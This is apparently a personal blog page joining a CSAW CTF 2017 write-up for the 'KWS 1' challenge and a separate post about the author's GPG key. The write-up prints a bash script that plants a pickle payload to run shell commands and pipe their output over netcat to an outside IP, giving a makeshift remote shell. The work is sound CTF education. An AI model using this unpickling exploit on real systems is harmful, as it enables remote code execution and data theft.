CSAW CTF Finals 2017 – KWS 1 Writeup

Introduction

I recently had the opportunity to compete in the CSAW CTF Finals with the UMBC Cyber Dawgs. It was an amazing competition; the organizers were awesome and did a great job. We placed 7th in North America, by the way :)

If you’ve never heard of CSAW before, it’s a huge student-run security conference/competition. We played in the CTF, or capture-the-flag competition. I would consider one of the best undergraduate-level CTF competitions. CSAW CTF is a jeopardy style competition in which you have a board of challenges, and you get points for solving them. You solve the challenge by hacking at it until it gives you a flag of the form flag{th1s_i5_a_f1@g}, which you enter into the scoreboard to receive points. Team with the most points wins.

I’ll be publishing a couple writeups about how we solved some of the challenges; this is the first one.

Challenge

We developed a much better alternative to AWS. Our high-performance kernel
driver gives us unparalleled speed of execution. And we're super-secure!

http://web.chal.csaw.io:6001/

NOTE: Login with your CTFd credentials.

NOTE: This might take a minute to start up the first time you login. Please be
patient!

NOTE: There may be ways to poke at other teams' boxes. Don't do that, it is not
part of the challenge.

NOTE: If you have issues with your instance, try logging out of the KWS
interface, and logging back in.

NOTE: Sorry for all of the notes :P

Author: itszn, Ret2 Systems

Solution

We begin by visiting the provided URL and we’re greeted with a dashboard. We have 1 KWS "instance" (lol), and we have the ability to store new JSON objects by name. So we have a key-value store of some sort.

We do some inspection of traffic (I use the Firefox DevTools), and we can see some requests to the API, and we see some requests to http://some.ip.ip.ip/action. We notice they are all POST requests, and they have a JSON payload of the form GET.json.test.Jl16yRXjeacpiZGr8eQJzQyqXHU. There are also other commands, such as LIST, STORE, and DELETE, that all seem to have a similar signature or something at the end.

We notice a reference to "itsdangerous", which we quickly google and find out it’s an HMAC library. So assuming there are no bugs there, we’re not going to be able to forge signatures. This would seem to rule out tampering with the datastore commands.

However, we notice something interesting about the share endpoint. Signed requests we get back are of the form thing.UMBC Cyber Dawgs.gDnKh62RvHSzZJc9-WuGoz1ALls, where thing is the name of the stored item, and UMBC Cyber Dawgs is our username. So we notice that we can get whatever requests signed that we want, by choosing the name appropriately, with the condition that there is a required suffix of .TEAMNAME.

We were given a signed request for "LIST", so as an exercise, I tried to forge a similar request. I created an item called "LIST", and called the share endpoint. I received the signed request LIST.UMBC Cyber Dawgs.gDnKh62RvHSzZJc9-WuGoz1ALls, which worked the same as the original. Hm, so the suffix doesn’t seem to be checked. I next tried a similar attack with "HELP", but no help command was implemented.

We then goofed around with the other endpoints, until we got a weird error. My teammate Chris did some searching to realize that for some reason, the server was unpickling everything you STORE. We looked up the well known exploit that applies to programs that unpickle untrusted values. I was able to echo hello back to my netcat listener. From there, I wrote the following (awful) script that amounted to a shell:

#!/bin/bash

CMD="$1"

THESTRING=$(curl -H "Content-Type: application/json" -X POST -b 'session=STUFF.GOES.HERE' --data "{\"name\":\"STORE.sendmestuff.cposix\nsystem\np0\n(S'${CMD} | nc 216.165.14.222 1338'\np1\ntp2\nRp3\n.\"}" http://web.chal.csaw.io:6001/api/share | head -2 | tail -1 | cut -d'"' -f4)

echo "$THESTRING"

curl -X POST -H "Content-Type: application/json" -i --data "{\"action\":\"${THESTRING}\"}" http://128.238.62.99:6002/action

If you save this as shell.sh, start a netcat listener with while true; do nc -lvp 1338; done, and run the script with while read cmd; do ./shell.sh "$cmd"; done, it approximates a shell.

At this point, we found the flag in a flag file and we’re done.

(We later added an SSH key and logged in like normal people, when we finally got tired of using this contraption.)

We poke around and eventually realize that they were in fact storing the data in a kernel module, giving rise to KWS 2, a pwn challenge.

Why I generated a GPG Key

So if you’re here, you’re probably one of three types of people. Most likely is that I sent you here because you were wondering why the heck I mentioned this on social media. It’s also possible that you actually care about why I generated a GPG key. I happen to like my explanation, and I hope you do too :) Additionally, in the unlikely case that you just want my key, you can find it at the bottom of the post.

As a result, before I actually answer the question in the title, I should probably answer something else first: What the heck is a GPG key?

What’s a GPG key?

GPG stands for GNU Privacy Guard… and there’s a ton of history that I won’t spend the space to explain. It’s an encryption program. A GPG key has two parts: a public key and a private (or secret) key. You spread the public key as far as you want (I’ve published mine below), and you keep the private key secret.

Then, people can use your key and they can send you messages only you can read. (You also can create a message and prove you wrote it, with a process called signing.)

Why I have one

Ok, that’s great, I guess. Now why do you need one again?

Well, that’s an interesting question. I’ve got a few reasons.

First, by analogy, encryption, for nerds, is a bit like guns for um… people that like guns. You can use it to make your life better (such as allowing you to keep criminals from reading your taxes), just like you can use a gun as a tool (to hunt deer, or some other game). You can also just have it, for the simple reason that you’re a free man and you can. Do I actually think I need to be able to encrypt my emails such that no other soul on the earth can read them? Well, no, but does anyone really need (insert your favorite slightly controversial weapon)? Maybe not (I don’t know what you picked, and that’s not what this article’s about anyway), but people have it/them because they can. Finally, in the unlikely scenario that the world as we know it falls apart, secure communication may come in handy. Well… Personally, I’d take the gun in that situation… but that’s not the point.

Practically speaking, I can now securely store sensitive documents so that only I can read them. Also, if by some freak accident, I end up writing a piece of software that becomes popular, I can sign the source code so people know it’s from me. And also, if I needed to talk to someone about my bank account number or something, and they had a GPG key, we could communicate securely.

About my key

I generated my key on my laptop, and I’ve uploaded it to a few different places. Its “fingerprint”, a short set of numbers that uniquely identifies it, is 8BCF 4423 CBAF 7F6C 60E3 BBA0 3238 40E9 FC31 AFAA. You can use it to verify that the key you have is really mine, and not fake.

I’ve uploaded it to some GPG keyservers, and to Keybase here: https://keybase.io/chainsaw10/

Keybase

So you might have seen a social media post about “verifying myself” or something like that. That has to do with Keybase (link above ^^^).

Keybase is a company that’s trying to make cryptography possible for less extremely technical people. They’ve done a decent job, and it’s pretty cool. The only negative comment I have at the moment is that you should NEVER under ANY circumstances upload your private key somewhere you don’t control, even in encrypted form. They offer a feature that allows just that, so I’d recommend against using it. Otherwise, it’s cool to see someone trying to make cryptography a bit more friendly. Hopefully they can succeed in a way that doesn’t force them to ruin their serviceĀ (through really ugly ads or something) in the process.

So Keybase’s idea is that you prove that you control various online accounts, and if people know you there, they can personally verify those proofs and have some level of assurance that your keys belong to you. It’s an interesting concept; I’m interested to see how it works out.

More-Technical Details

(Most of the following information will probably only be relevant to people that know what to do with it.)

GPG key fingerprint: 8BCF 4423 CBAF 7F6C 60E3 BBA0 3238 40E9 FC31 AFAA

Download link: https://zackorndorff.com/downloads/zack.public.gpg-key (Or get it from your favorite keyserver)

It’s 4096 bit RSA, with two subkeys so the main key can be kept nominally offline, as explained here.